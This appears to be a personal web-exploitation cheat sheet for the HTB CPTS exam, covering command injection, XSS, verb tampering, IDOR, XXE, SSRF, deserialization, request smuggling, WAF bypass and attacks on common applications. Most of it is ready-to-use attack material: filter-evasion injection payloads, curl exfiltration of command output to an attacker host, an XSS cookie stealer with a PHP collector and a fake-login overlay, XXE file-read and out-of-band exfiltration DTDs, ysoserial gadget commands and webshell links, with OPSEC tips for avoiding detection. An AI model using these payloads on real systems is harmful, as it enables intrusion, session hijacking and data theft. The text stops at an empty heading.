Classic ASP / legacy IIS (.asp, .cer, asp.dll handlers):

rp-shell.asp (SHA-256 · GPG signature)

Tomcat / any JSP container (also the payload inside a WAR — see Tomcat → /manager WAR deploy (msfvenom war)):

rp-shell.jsp (SHA-256 · GPG signature)

IIS + ASP.NET (aspx handler, Windows boxes — pairs with the web.config trick above):

nt-webshell-rosepine.aspx (SHA-256 · GPG signature)

Selection guidance: match the shell to the executing handler, not the OS — an IIS box with PHP installed runs rp-shell.php; a Linux Tomcat runs rp-shell.jsp. Confirm execution context with a harmless probe first (whoami/id, phpinfo()), and note the shell runs as the web service account (www-data, NT AUTHORITY\IUSR/iis apppool\defaultapppool, tomcat) — privesc is 12 - Stage 09 - Privilege Escalation’s job.

[!warning] OPSEC — webshells are tripwires A dropped .php/.aspx in the webroot is the single most-searched IOC (EDR web-shell signatures, file-integrity monitoring, access.log requests to a non-linked path). Mitigate: random filename (not shell.php), non-obvious param name (md5, not cmd), password-gate the shell, and delete it when done. On the CPTS exam it doesn’t matter; on a real engagement it’s the difference between a finding and an incident. Full tradecraft: 05 - Foothold Toolkit - Shells Payloads and Metasploit.

Command-injection matrix — operators · char reconstruction · obfuscation

What to look for → the guide already lists the shell-out sinks and the ${IFS} / {brace} / $PATH-slice / quote-split / socat payloads. This is the matrix behind them: the full operator set, how to fingerprint the filter, how to build a blocked character without sending it, and the WAF-grade obfuscation ladder. Modules: 2 - Detecting Command Injection Vulnerabilities → 7 - Advanced Command Obfuscation, 8 - Evasion Tools.

Enumerate — operator set + fingerprint the filter (3 - Identifying Filters)

# operators (URL-encoded), all OS/lang unless noted:
#   ; %3b   \n %0a   & %26   | %7c   && %26%26   || %7c%7c   `cmd` %60   $(cmd) %24%28%29
#   caveat: ';' does NOT chain under Windows cmd.exe (it does under PowerShell)
curl "http://$IP/ping.php?ip=127.0.0.1%0a whoami"     # %0a first: hardest to blacklist cleanly
curl "http://$IP/ping.php?ip=|| whoami"               # break cmd1 so ONLY cmd2 output returns (clean)
# fingerprint: inline app error = PHP filter;  a separate branded block page w/ your IP = external WAF
# reduce to one token to find the banned char:  ...ip=127.0.0.1;  still blocked => ';' banned -> pivot to %0a

Exploit / Attack — reconstruct blocked characters, then obfuscate the command

Bash and other POSIX shells

# Space bypasses (4 - Bypassing Space Filters)
127.0.0.1%0a%09whoami
127.0.0.1%0a$IFS$9whoami

# Reconstruct blocked characters from environment variables (5 - Bypassing Other Blacklisted Characters)
${LS_COLORS:10:1}   # ';'
${PATH:0:1}         # '/'

# Derive '\' by shifting the preceding ASCII character.
echo $(tr '!-}' '"-~' <<< [)

# Split a blacklisted command with shell-ignored characters (6 - Bypassing Blacklisted Commands)
w'h'o'am'i
w"h"o"am"i
who$@ami
w\ho\am\i

# Whole-command transforms (7 - Advanced Command Obfuscation)
$(tr "[A-Z]" "[a-z]" <<< "WhOaMi")
$(rev <<< 'imaohw')
bash <<< $(base64 -d <<< Y2F0IC9ldGMvcGFzc3dk)

Windows Command Prompt

:: Reconstruct '\' from HOMEPATH, split a command with quotes, or escape with ^.
%HOMEPATH:~6,-11%
w"h"o"am"i
who^ami

PowerShell

# Strings are character arrays, so this returns a backslash on a normal profile path.
$env:HOMEPATH[0]

# Reverse a command or decode a UTF-16LE Base64 command.
iex "$('imaohw'[-1..-20] -join '')"
iex "$([Text.Encoding]::Unicode.GetString(
  [Convert]::FromBase64String('dwBoAG8AYQBtAGkA')
))"

# Interactive DOSfuscation workflow.
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

Build PowerShell Base64 from Linux

echo -n whoami | iconv -f utf-8 -t utf-16le | base64

Automate Bash obfuscation

./bashfuscator \
  -c 'cat /etc/passwd' \
  -s 1 \
  -t 1 \
  --no-mangling \
  --layers 1

[!warning] Watch out

  • Filters compose → bypasses compose: one request often stacks operator (%0a) + space (${IFS}/%09) + name-split (w'h'o'am'i) + char-slice all at once. After any obfuscation, re-scan the wrapper for a character that is itself still filtered (usually the space).
  • || after a deliberately-broken first command gives the cleanest response (only cmd2’s output); ;/&& prepend the original command’s output.
  • %0a (newline) beats operator blacklists most often — devs can’t safely ban it — so try it before anything fancier.
  • Bashfuscator’s random default can exceed a POST field’s size cap — always tune -s/-t/--no-mangling/--layers; a hand-rolled combo beats a copy-pasted one (public obfuscation patterns are WAF-signatured).

Blind & OOB command injection — no output in the response? Confirm with time (;sleep 5, %0aping -n 6 127.0.0.1 on Windows) or out-of-band; automate detection with commix when manual probing drags:

# OOB confirm — any callback at all proves exec
curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/oob"
# OOB data exfil through the callback path
curl "http://$IP/ping.php?ip=127.0.0.1%0acurl${IFS}http://$LHOST:8000/$(id|base64|tr+/=__)"   # demo shape
# DNS-only egress:  ping `whoami`.abc123.oast.pro   (interactsh / Burp Collaborator catches it)

# commix — automate detection + exploitation when manual probing drags
python3 commix.py -u "http://$IP/ping.php?ip=127.0.0.1" --batch
python3 commix.py -r request.txt --level 3 --technique=t   # time-based only, quieter

[!warning] OPSEC — command injection is loud and forensic Every probe lands in the web log with the payload in cleartext; curl/DNS OOB callbacks leave egress log entries. Prefer a single reverse-shell request (see 05 - Foothold Toolkit - Shells Payloads and Metasploit) over 50 echoed commands, and clean up any files you drop.

🎯 XSS, HTTP Verb Tampering, IDOR & XXE

The ### XSS block above covers find + context-matched payloads. This one carries the payloads through to impact, then adds the three Web-Attacks staples the guide is missing. Deep dives: 5 - XSS Discovery · 8 - Session Hijacking · 7 - Phishing · 1 - Intro to HTTP Verb Tampering · 6 - Identifying IDORs · 10 - Chaining IDOR Vulnerabilities · 13 - Local File Disclosure · 15 - Blind Data Exfiltration · Dalfox - HTB and AEN Cheat Sheet.

XSS — classify → discover → weaponise

What to look for → I already have a firing marker (see above). Now pin the type (fixes delivery) and turn it into cookie theft / creds. Persistence test: does it survive a refresh with no resubmit? Stored. Only in the one echoed response? Reflected. Never in Ctrl+U source, #fragment in the URL with no Network request? DOM.

Enumerate (classify + automate discovery)

# DOM tell: fragment never hits the server -> confirm type before wasting server-side payloads
# reflected -> shareable URL-encoded link; stored -> fires for every visitor on refresh

# automate parameter discovery/context when the manual sweep doesn't scale
python3 xsstrike.py -u "http://$IP/index.php?task=test"   # Confidence 10 / Efficiency 100 ~= confirmed
dalfox url "http://$IP/index.php?task=test"               # mining + DOM + blind in one Go binary

(XSStrike is Python 2/3 legacy but its context analysis output is still useful for reading sink types.)

<!-- innerHTML sink STRIPS literal <script> — DOM XSS needs an event handler instead -->
<img src="" onerror=alert(window.origin)>
<svg onload=alert(window.origin)>
<!-- alert() blocked? confirmation fallbacks -->
<plaintext>        <!-- halts HTML rendering, dumps raw -->
<script>print()</script>

Exploit / Attack — cookie theft → session hijack

# 1. host the stealer + collector on tun0. sudo php -S 0.0.0.0:80 so the HTB browser (VPN iface) reaches it
echo "new Image().src='http://$LHOST/index.php?c='+document.cookie;" > script.js
// index.php — splits multi-cookie strings, logs source IP (handles many victims over time)
<?php if (isset($_GET['c'])) { foreach (explode(";", $_GET['c']) as $v) {
  $c=urldecode($v); $f=fopen("cookies.txt","a+");
  fputs($f,"IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$c}\n"); fclose($f);
} } ?>
<!-- 2. deliver into the stored/reflected sink — new Image() is silent (no nav-away, unlike document.location) -->
<script src=http://$LHOST/script.js></script>
# 3. replay: Firefox DevTools Storage (Shift+F9) -> add cookie name/value from cookies.txt -> refresh = authed as victim

Exploit / Attack — blind XSS field ID + phishing

<!-- BLIND: name the callback after each field so a listener hit tells you WHICH field fired -->
<script src=http://$LHOST/fullname></script>
<script src=http://$LHOST/username></script>
'><script src=http://$LHOST></script>          <!-- attribute-breakout variants -->
"><script src=http://$LHOST></script>
<!-- PHISHING: overwrite the page with a fake login, strip the original element, comment out the rest -->
<script>document.write('<h3>Please login to continue</h3><form action=http://$LHOST><input name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit value=Login></form>');document.getElementById('urlform').remove();</script><!--

Collector logs creds then header("Location: http://$IP/...") 302s the victim back so the login “just works” — a bare nc -lvnp 80 proves capture but errors the browser (suspicious).

[!warning] Watch out

  • document.cookie is empty under HttpOnly — kills the steal, does not disprove XSS. Blind XSS on an admin panel you can’t see is the common HTB shape: the <script src=…/fieldname> naming trick is the only signal you get.
  • Match the payload to the observed parser (see the context table above) — a short context-correct payload beats a giant list. <script> fails in an innerHTML sink; use <img onerror>/<svg onload>.
  • HTTP collector against an HTTPS target = mixed-content blocked. Scanner “reflected” ≠ “executed” — always confirm in a real browser.

HTTP Verb Tampering (auth bypass + method-based filter bypass)

What to look for → an action behind Basic Auth (/admin, a Reset/Delete button → 401), or a filter that blocks a payload. Both bugs = the check only covers GET/POST while the server/sink honours other verbs. Two root causes: server config scoped to <Limit GET POST>, or code validating $_POST but a sink reading $_REQUEST.

Enumerate

curl -i -X OPTIONS http://$IP/            # the Allow: header is free recon — HEAD present = try it
# Allow: POST,OPTIONS,HEAD,GET
curl -i -X HEAD "http://$IP/admin/reset.php"   # HEAD = GET with no body, same handler runs

Exploit / Attack

# 1. AUTH BYPASS — GET/POST both 401, HEAD falls outside <Limit GET POST> and executes with NO challenge
curl -i -X HEAD "http://$IP/admin/reset.php"        # 200, empty body, privileged action ran

# 2. FILTER BYPASS — preg_match checks $_POST, system() reads $_REQUEST -> move payload to GET
curl -s -X POST -d "filename=test;" http://$IP/create.php        # "Malicious Request Denied!"
curl -s "http://$IP/create.php?filename=file1;%20touch%20file2;" # $_POST empty (passes), $_REQUEST carries it -> RCE

Burp is faster than curl here: right-click intercepted request → Change Request Method to cycle verbs; Intruder with a verb wordlist (GET POST HEAD PUT DELETE PATCH OPTIONS TRACE CONNECT) to sweep many endpoints.

[!warning] Watch out

  • HEAD returns an empty body — no visible confirmation. Verify the side effect (files gone, file2 created), not the response.
  • A filter is only as strong as its narrowest superglobal: if validation reads $_GET/$_POST but the sink reads $_REQUEST, flipping the verb slips every payload past it. Test a known-blocked payload across every accepted verb.
  • HEAD is enabled by default on most Apache/nginx and rarely tested by scanners against auth logic — check it on every protected endpoint.

IDOR (enumeration, encoding/hashing, mass-assignment chains)

What to look for → object refs I can tamper: ?uid=1, ?file_id=123, JSON {"uid":1}, predictable filenames (Invoice_<uid>_<mm>_<yyyy>.pdf), base64/hash-looking params, and client-supplied role/is_admin fields. Read shipped JS for AJAX functions the UI never calls for my role. On REST APIs the same bug is BOLA (Broken Object Level Authorization, OWASP API #1) — enumerate object IDs on /api/v1/users/{id}-style routes with every verb; “function-level” variant = calling admin-only endpoints (/api/admin/export) as a low-priv user.

Enumerate

# encoding is NOT access control — decode first
echo "ZmlsZV8xMjMucGRm" | base64 -d          # -> file_123.pdf, now guess file_124.pdf and re-encode

# "secure" MD5 ref? if the JS hashes client-side (CryptoJS.MD5(btoa(uid))), reproduce the formula:
echo -n 1 | base64 -w 0 | md5sum             # must match the observed contract= value
# -n (no newline) and -w 0 (no wrap) are mandatory — a stray byte changes the hash entirely

Exploit / Attack — mass enumeration

# plaintext uid: scrape links then pull every file across the id range
curl -s "http://$IP/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
for i in $(seq 1 100); do
  for l in $(curl -s "http://$IP/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
    wget -q "http://$IP/$l"; done; done

# hashed ref: reproduce the client formula per id, POST it, save server-suggested filename (-OJ)
for i in $(seq 1 100); do
  h=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
  curl -sOJ -X POST -d "contract=$h" http://$IP/download.php; done

Exploit / Attack — API chain: info-disclosure IDOR → mass assignment → priv-esc

# 1. GET another user's record (only a role=employee cookie as "auth") leaks the uuid a PUT needs
curl -s "http://$IP/profile/api.php/profile/2"    # -> {"uid":"2","uuid":"4a9b...","role":"employee",...}

# 2. PUT with the harvested uuid clears the "uuid mismatch" check -> write to their account (mass assignment)
curl -s -X PUT -H 'Content-Type: application/json' \
  -d '{"uid":"2","uuid":"4a9b...","role":"employee","about":"PWNED"}' \
  "http://$IP/profile/api.php/profile/2"

# 3. enumerate all uids for the real admin role NAME (guessing admin/administrator fails -> it's web_admin)
for i in $(seq 1 20); do curl -s "http://$IP/profile/api.php/profile/$i"; echo; done | grep -o '"role":"[^"]*"'

# 4. escalate self, then create a new admin (POST no longer "for admins only" once role=web_admin)
curl -s -X PUT -H 'Content-Type: application/json' \
  -d '{"uid":"1","uuid":"<mine>","role":"web_admin"}' "http://$IP/profile/api.php/profile/1"

[!warning] Watch out

  • Pages often look identical across users — only linked filenames / response size differ. Diff source/size (Burp Comparer), never the rendered view.
  • Client-side hashing or a client-supplied role/is_admin = zero security; the algorithm+input are in the JS bundle, so any ref is attacker-computable.
  • Test all CRUD verbs (GET/PUT/POST/DELETE) on a REST endpoint, not just the one the UI uses — rejection messages (uuid mismatch, Invalid role) leak exactly which field is validated. A blocked write path is not a dead end: check the read path for the value that unblocks it.
  • After role-esc, re-try every previously-blocked action — the same endpoint accepts them under the new role.

XXE (file read, source theft, RCE, blind OOB)

What to look for → any endpoint that ingests XML: contact forms, SAML/SOAP, Content-Type: text/xml/application/xml API bodies, XML file uploads. Legacy or unknown parser = worth testing. Note which submitted element gets reflected back — that’s the output channel.

Enumerate / confirm

<!-- confirm the parser resolves custom entities with a harmless INTERNAL entity first -->
<?xml version="1.0"?>
<!DOCTYPE email [ <!ENTITY company "Inlane Freight"> ]>
<root><name></name><email>&company;</email><message></message></root>
<!-- response echoes "Inlane Freight" (not literal &company;) => entity resolution works -->

Exploit / Attack — direct read / source / RCE

<!-- local file read via EXTERNAL entity -->
<!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]>       <!-- also id_rsa, config creds -->

<!-- PHP source: raw <?php ... breaks XML, so base64 it with php://filter -->
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">

<!-- XXE->RCE only if the (rare) expect ext is loaded; $IFS replaces spaces to keep XML well-formed -->
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'$LHOST/shell.php'">

Exploit / Attack — advanced (framework-agnostic) & blind OOB

# CDATA-wrap via parameter entities — non-PHP backends, preserves <>& verbatim (no base64 needed)
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://$LHOST:8000/xxe.dtd">
  %xxe;
]>
<root><email>&joined;</email></root>
// BLIND OOB — no reflection, no errors: exfil base64 file over an outbound request. listener index.php:
<?php if(isset($_GET['content'])){ error_log("\n\n".base64_decode($_GET['content'])); } ?>
<!-- xxe.dtd hosted on $LHOST:8000 -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://$LHOST:8000/?content=%file;'>">
<!-- injected payload: pull the DTD, define %oob, then &content; fires the callback -->
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://$LHOST:8000/xxe.dtd"> %remote; %oob; ]>
<root>&content;</root>
# error-based (verbose PHP errors, no reflection): join a non-existent entity to leak %file; in the error text
#   <!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
# automate the whole OOB workflow once understood ([XXEinjector](https://github.com/enjoiz/XXEinjector); req file body replaced by literal XXEINJECT):
ruby XXEinjector.rb --host=$LHOST --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
cat Logs/$IP/etc/passwd.log

[!warning] Watch out

  • PHP source (<?php, $, <>&) breaks raw substitution → use php://filter base64 or the CDATA-wrap. /etc/passwd is plain text and substitutes cleanly, so read it first to prove the primitive.
  • CDATA, error-based and OOB all need outbound connectivity from the target to fetch your DTD — confirm egress early. HTTP blocked but DNS open? DNS OOB (base64 as a subdomain label, catch with tcpdump) or Interactsh/Burp Collaborator.
  • expect:// RCE needs a non-default PHP ext — don’t count on it; file read + source theft (creds, more bugs) are the reliable wins.
  • Modern libxml2 ≥ 2.9 disables external entities by default — XXE lives in legacy/misconfigured parsers, so always confirm with the internal-entity test before assuming it’s dead.

🌊 SSRF — server-side request forgery

What to look for → any feature that fetches a URL server-side: webhooks, “import from URL”, PDF/HTML renderers, image proxies, RSS importers, ?url=/?dest=/?feed= params, SAML/metadata URL fields. T1190 / mapped to ATT&CK via impact (cloud cred theft ≈ T1552.005).

Target table — what to aim the server at:

TargetPayloadPayoff
Cloud metadata (AWS)http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM role creds → full cloud pivot (IMDSv1; v2 needs a PUT token — try header-smuggling it)
GCP metadatahttp://metadata.google.internal/computeMetadata/v1/ (+Metadata-Flavor: Google)service-account tokens
Azure metadatahttp://169.254.169.254/metadata/instance?api-version=2021-02-01 (+Metadata: true)MSI tokens
Internal HTTPhttp://127.0.0.1:8080/, http://localhost/admin, RFC1918 sweepreach admin panels bound to loopback only
Redis (gopher)gopher://127.0.0.1:6379/_*1%0d%0a...write SSH key/cron via CONFIG SET+SAVE, or EVAL lua RCE
MySQL (gopher)gopher://127.0.0.1:3306/_<raw protocol bytes>auth bypass / query exec against unauth’d local MySQL
Internal file readfile:///etc/passwd, file:///proc/self/environsource & env creds

Bypass filters

localhost variants:  127.0.0.1  127.1  2130706433(dec)  0x7f000001  [::1]  0  localhost.localdomain
DNS trick:           attacker-controlled domain resolving to 127.0.0.1 (e.g. nip.io: 127.0.0.1.nip.io)
redirect trick:      point at your URL that 302s to http://169.254.169.254/...  (beats naive allowlists)
parser confusion:    http://allowed.com@127.0.0.1  ·  http://127.0.0.1#allowed.com  ·  http://allowed.com%252f@127.0.0.1
# Gopherus — builds the gopher:// payload for redis/mysql/fastcgi/zabbix...
python3 gopherus.py --exploit redis        # interactive: choose reverse shell / ssh key write
python3 gopherus.py --exploit mysql -u root -q "select user();"

# SSRFmap — module-driven SSRF sweeps (portscan, redis, aws meta...) from a Burp req file
python3 ssrfmap.py -r ssrf.req -p url -m aws,redis,portscan --level=4

[!warning] Watch out

  • Blind SSRF (no response body back) is still exploitable: port-scan by response-time/error deltas, and confirm with an OOB callback (interactsh).
  • Gopher payloads need double URL-encoding when the target param is itself URL-decoded once by the app and once by the SSRF client — if %0d%0a doesn’t land, try %250d%250a.
  • On HTB boxes the pattern is usually http://127.0.0.1:<internal-port>/admin-style; sweep 127.0.0.1 ports 1–10000 before going exotic. Cloud metadata only matters on actual cloud targets — check http://169.254.169.254/ takes <1s to rule in/out.

🧬 Insecure deserialization

What to look for → Java AC ED 00 05 (rO0 base64) in cookies/params, .NET __VIEWSTATE, PHP O:4:"User":2:{...} blobs, Python pickle (gASV / KGRwMA...), Ruby BAh (Marshal). Any of these = stop and reach for the gadget tools.

[!tools] Deserialization payload generators (staged) Java — ysoserial gadget chains (CommonsCollections, Spring, Hibernate…):

ysoserial-all.jar (SHA-256 · GPG signature)

.NET — ysoserial.net ViewState/BinaryFormatter/Json.NET payload plugins:

ysoserial.net_v1.36.zip (SHA-256 · GPG signature)

# Java: generate a gadget payload, deliver base64'd into the cookie/param
java -jar ysoserial-all.jar CommonsCollections6 "curl http://$LHOST:8000/pwn" | base64 -w 0
java -jar ysoserial-all.jar URLDNS "http://$LHOST:8000/dnscheck"            # blind probe first

# .NET ViewState (needs the machineKey or validation key when signed):
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > c:\inetpub\wwwroot\o.txt" \
  --path="/default.aspx" --apppath="/" --decryptionalg="AES" --validationalg="SHA1" \
  --decryptionkey="<key>" --validationkey="<key>"

# PHP: write an object by hand when a magic method (__wakeup/__destruct/__toString) touches files/cmds
O:8:"FileDrop":1:{s:4:"path";s:16:"/tmp/poison.log";}
# phar deserialization: upload a phar-polyglot, trigger via phar:// in ANY file op (file_exists, md5_file)
#   -> phar metadata unserializes without include() — LFI not required

[!warning] Watch out

  • Gadget chain must match a library on the target classpath — fingerprint versions (error pages, /META-INF, JS comments) before spraying chains; URLDNS is the safe universal probe.
  • PHP phar deserialization fires on any filesystem function with a phar:// path — md5_file($_GET['f']) is enough. Combine with the upload section’s phar-polyglot.
  • Pickle: the app must unpickle your bytes — look for pickle.loads(base64.b64decode(request.cookies[...])) patterns in leaked source.

🏎️ Race conditions & request smuggling

Race conditions (TOCTOU) — single-use coupons, limit-bypass, OTP guessing, file-overwrite windows: the app checks a condition and acts on it in two steps. Burp Turbo Intruder (race-single-packet-attack.py template, HTTP/2 single-packet sync) fires 20–30 requests in the same network packet:

# turbo intruder: single-packet race (Burp > Extensions > Turbo Intruder)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1)
    for i in range(30):
        engine.queue(target.req, gate='race1')   # queue all, hold at gate
    engine.openGate('race1')                     # release simultaneously

CRLF injection → header splitting (%0d%0aSet-Cookie: / %0d%0aLocation:) → response splitting, cache poisoning, XSS via injected headers. Test on every redirect param.

HTTP request smuggling (CL.TE / TE.CL / TE.TE) — front/back-end disagree on request length:

POST / HTTP/1.1
Host: $DOMAIN
Content-Length: 13
Transfer-Encoding: chunked

0

G                    <- 'G' is left over and prefixes the NEXT user's request

Confirm with Burp’s HTTP Request Smuggler extension; exploit to bypass front-end ACLs (/admin proxied internally), poison caches, or hijack other users’ requests. Observe response discrepancies — never smoke-test on infra you can’t roll back.

🔌 API attacks — GraphQL, kiterunner, WebSockets

API route discovery — regular wordlists miss versioned/nested API routes; kiterunner ships kitebuilder-compiled route wordlists:

kr scan http://$IP -w routes-large.kite -x 10 --ignore-length=1055
kr scan http://$IP -A=apiroutes-210320 -x 5     # precompiled Assetnote wordlist

GraphQL — find it at /graphql /api/graphql /graphiql /playground; then:

# introspection — dumps the entire schema (types, queries, mutations)
{__schema{types{name,fields{name,args{name,description,type{name}}}}}}
# if introspection is off: field suggestion ("Did you mean...?") + clairvoyance-style brute,
# or fuzz with GET ?query= and alias-based batching (bypasses rate limits)
curl -s http://$IP/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name}}}"}'
# automate: graphql-cop (audit), InQL (Burp ext), DVGA as practice target

Watch for: mutations that change roles/reset passwords, nested-query DoS, IDOR on user(id:) node queries, JWT in GraphQL headers.

WebSockets — Burp (Proxy > WebSockets history) can intercept/replay WS frames:

  • No origin check → cross-site WebSocket hijacking (CSWSH): victim browser opens the socket with their cookies.
  • Unauthenticated message channel → inject SQLi/XSS payloads in WS messages (same classes, new transport).
  • Test message tampering, replay, and authorization per-message — many apps auth the handshake only.

Prototype pollution (brief) — JS objects merge attacker keys: {"__proto__":{"isAdmin":true}} in a JSON body, or ?__proto__[polluted]=1 in query strings. Server-side (Node) → property pollution can flip auth checks or reach RCE via gadget properties (shell, NODE_OPTIONS). Client-side → DOM XSS gadgets. Confirm by reading the polluted property after the merge; payloads: PayloadsAllTheThings Prototype Pollution.

🛡️ WAF evasion & 403 bypass

403-bypass header & path tricks (loopback-restricted endpoints, CDN-fronted apps):

# header spoofing — the app trusts forwarding headers from the "trusted" proxy
curl -H 'X-Forwarded-For: 127.0.0.1' http://$IP/admin
curl -H 'X-Real-IP: 127.0.0.1' -H 'X-Originating-IP: 127.0.0.1' http://$IP/admin
curl -H 'X-Custom-IP-Authorization: 127.0.0.1' http://$IP/admin

# path confusion — front-end normalises, back-end doesn't (or vice versa)
curl http://$IP/admin/../admin/        # traversal normalisation
curl http://$IP//admin/                # double slash
curl http://$IP/admin%2f               # encoded slash
curl http://$IP/admin;.js              # suffix decoration (Tomcat/Spring)
curl http://$IP/admin%20  /  %09       # trailing whitespace/tab
# verb tampering also applies — see the HEAD/OPTIONS section

WAF evasion for injection payloads

TechniqueExample
Case randomisationSeLeCt (also sqlmap --tamper=randomcase)
Comment/whitespace swapUN/**/ION, SEL%0bECT, UNION%23a%0aSELECT
Double/unicode URL-encode%2527 → decodes to ' after one pass
Chunked transfer encodingTransfer-Encoding: chunked splits the payload across chunks WAFs don’t reassemble
Charset games?charset=utf-7 + utf-7-encoded payload (legacy IIS/IE)
Parameter pollution?id=1&id=UNION... — WAF inspects param 1, app uses param 2
JSON smugglingsame attack in a application/json body when the WAF only parses forms

Encode/decode/transform everything in CyberChef — build a recipe (URL-decode ×2 → base64) once, reuse it for every payload variant.

[!warning] OPSEC — WAFs are sensors Every blocked request is a logged IOC and may trigger IP bans that lock you out of the box (fail2ban/Cloudflare). Fingerprint the WAF first (wafw00f http://$IP), lower thread counts, and rotate through encoding tricks one at a time. On HTB, a “403 on everything” usually means vhost needed, not a WAF — re-check the Host header before reaching for evasion.

🗃️ Source & config leaks — exposed .git, .env, backups

What to look for.git/HEAD returning content, .env in the webroot, config.php~, backup.zip, .DS_Store, swagger.json. Cheapest wins in all of web enum. Tools: git-dumper / GitTools for repo recovery, gitleaks/trufflehog for secret mining.

# exposed .git — check first, then dump the WHOLE repo
curl -s http://$IP/.git/HEAD                                # "ref: refs/heads/master" = jackpot
git-dumper http://$IP/.git/ ./repo                          # https://github.com/arthaud/git-dumper
cd ./repo && git log --oneline && git show <old-commit>     # deleted secrets live in history
# or the GitTools suite (gitdumper.sh + extractor.sh): https://github.com/internetwache/GitTools

# .env / config / backup hunters
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .env,.git,.bak,.old,.zip,.tar.gz,.sql,.swp,.json,.yml,.config -mc 200 -c
curl -s http://$IP/.env                  # DB_PASSWORD=..., APP_KEY=..., AWS keys
curl -s http://$IP/config.php~           # editor backups serve SOURCE (not executed!)
curl -s http://$IP/index.php.bak         # same trick — .bak/.swp/.old bypass the PHP handler

# any repo found: mine it for secrets
gitleaks detect --source ./repo -v
trufflehog git file://./repo --only-verified

(gitleaks · trufflehog)

[!tip] Why this comes first Source disclosure (config.php~, .git dump) hands you credentials, the exact filter logic, and the framework version — it converts blind black-box attacks into white-box ones. Always burn 2 minutes on these paths before any brute force. Looted DB creds then feed the service attacks in 01 - Attacking Common Services - CPTS Cheat Sheet.

🏢 Attacking Common Applications (fingerprint → known exploit)

Off-the-shelf apps behind a web port are the fastest foothold on the CPTS exam — a fingerprint plus a known CVE or a built-in “feature” (theme editor, script console, scripted input) beats hand-crafting a bug. Sweep web ports (80,443,8000,8080,8180,8443,8500,8089,10000), screenshot everything (STAGE 2 EyeWitness/gowitness block), then match the tell to the table below. Deep dives: 1 - Introduction to Attacking Common Applications · 2 - Attacking WordPress · 5 - Attacking Tomcat · 6 - Attacking Jenkins · 7 - Attacking Splunk · 8 - Attacking PRTG Network Monitor · 10 - Attacking GitLab · 13 - Attacking ColdFusion · 15 - LDAP and Web Mass Assignment Vulnerabilities.

[!note] The pattern is always the same Fingerprint → confirm version → pick built-in-functionality abuse OR version-gated CVE. Most of these land you a shell as the service account, which on Jenkins/Splunk/PRTG/Tomcat is very often SYSTEM (Windows) or root (Linux) — a privileged foothold with no local priv-esc needed. Always record the exact build number; nearly every CVE below is version-gated.

AppFingerprint / tellDefault creds to tryKnown exploit → outcomeNote
WordPresswp-login.php, wp-content/, generator meta, ?author=1— (enum users)admin → Theme Editor 404.php shell · vuln plugin (mail-masta LFI, wpDiscuz upload)2 - Attacking WordPress
Joomlagenerator meta, /administrator/, joomla.xmladmin:admin (set at install)admin → Template Customise error.php shell · CVE-2019-10945 dir-trav3 - Attacking Joomla
Drupal“Powered by Drupal”, CHANGELOG.txt, /node/<id>PHP Filter module · backdoored module · Drupalgeddon 1/2/34 - Attacking Drupal
TomcatServer: hdr, /docs, /manager, AJP :8009tomcat:tomcat,admin:admin,tomcat:s3cret/manager → WAR deploy → JSP shell · Ghostcat AJP LFI · CVE-2019-02325 - Attacking Tomcat
Jenkinslogin page on :8080, /scriptnone/anon-read misconfigGroovy Script Console → Runtime.exec() RCE6 - Attacking Jenkins
SplunkSplunkd httpd on :8000/:8089admin:changeme, expired-trial→no authcustom app + scripted input → reverse shell7 - Attacking Splunk
PRTGIndy httpd … Paessler PRTG on :8080prtgadmin:prtgadminCVE-2018-9276 notification cmd-inject (<18.2.39)8 - Attacking PRTG Network Monitor
osTicketOSTSESSID cookie, “powered by” footeremail-harvest → OSINT/breach creds → reuse (methodology, not a CVE)9 - Attacking osTicket
GitLablogin page/logo, /explore, /help (post-auth)self-registration onregister → repo secrets · CE ≤13.10.2 ExifTool RCE · CVE-2021-2220510 - Attacking GitLab
ColdFusion:8500, .cfm/.cfc, /CFIDE/administrator/CVE-2010-2861 dir-trav (creds) · CVE-2009-2265 FCKeditor unauth RCE13 - Attacking ColdFusion
CGI/Shellshockcgi-bin/, .cgi/.sh scriptsCVE-2014-6271 via User-Agent bash func11 - Attacking Common Gateway Interface (CGI) and Shellshock
IIS (tilde)Microsoft IIS httpd, 8.3 short names~ short-name disclosure → narrow wordlist → recover hidden files14 - IIS Tilde Enumeration
LDAP login389/636 beside a web loginwildcard */* auth bypass (LDAP injection)15 - LDAP and Web Mass Assignment Vulnerabilities

WordPress → admin Theme Editor shell + plugin RCE

Cred-getting (wpscan enumerate + xmlrpc/wp-login password attack) is the WordPress (wpscan) subsection above — don’t repeat it. This is what to do once you have admin, plus the two unauth plugin bugs.

What to look for → admin login (or a vuln plugin string in the homepage source: mail-masta, wpDiscuz, contact-form-7 with a ?ver= pin).

Enumerate (manual, catches plugins wpscan misses)

curl -s http://$DOMAIN/ | grep -oE 'wp-content/(themes|plugins)/[^/]+' | sort -u
curl -s http://$DOMAIN/wp-content/plugins/<plugin>/readme.txt | grep -i 'stable tag'   # pin version for CVE lookup

Exploit / Attack

